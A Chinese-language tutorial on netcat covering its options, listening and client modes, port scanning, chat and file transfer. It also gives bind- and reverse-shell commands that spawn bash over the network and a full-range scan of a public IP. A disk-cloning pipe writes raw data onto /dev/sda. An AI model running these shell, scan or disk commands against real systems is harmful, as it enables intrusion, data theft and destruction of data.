Netcat简称NC是一款强大的命令行网络工具有瑞士军刀的美誉,用来在两台机器之间建立TCP/UDP连接,并通过标准的输入输出进行数据的读写;大部分的Linux发行版会都会自带Netcat

参数 说明
-c 连接shell
-v 显示详细连接信息
-l 监听模式
-p 指定端口
-q 退出时间
-d 后台运行
-u 使用udp协议
-e 连接一个文件
-s 本地指定源地址
-z 扫描模式
-w 超时时间
-r 随机端口

0X01工作模式

  • 监听模式

监听本机的tcp或者udp端口,通常作为服务端使用。

#默认监听tcp端口
nc -lp 9000
#监听utp端口
nc -lup 9000
  • 传输模式

传输模式用来连接目标服务器的某个端口,通常作为客户端使用。

#连接tcp110端口
nc -vn 123.126.97.79 110 
#连接udp2222端口
nc64.exe -vnu 192.168.2.106 2222

0x02端口扫描

nc可以用来探测目标服务器的某个端口是否开放以及获取banner信息

nc -vnz 123.126.97.79 1-65535
nc -vnuz 123.126.97.79 53

0x03文本传输

两台计算机可以将nc用来传输文本信息作为聊天工具使用

server

nc -lvp 9999

clien

nc -vn 192.168.1.75 9999

0x04文件传输

nc可作为文件传输工具将客户端的文件传输到服务器上

server端先监听端口

nc -vlp 8888 > 123.txt

client发送文件

nc -vn 192.168.1.75 8888 < flag.txt -q 1

0x05远程控制

通过nc获得服务器shell控制服务器

  • 正向连接

服务器监听端口

nc -lp 4444 -c bash

客户端连接服务器

 nc 192.168.1.90 4444
  • 反向连接

客户端监听端口

nc -lp 4444

服务器主动连接客户端

nc 192.168.1.75 4444 -c bash

0x06硬盘克隆

远程电子取证,可以将目标服务器硬盘或者内存远程复制到本地。

server端

nc -lp 4444 | dd of=/dev/sda

client端

dd if=/dev/sda | nc -nv 192.168.1.90 4444 -q 1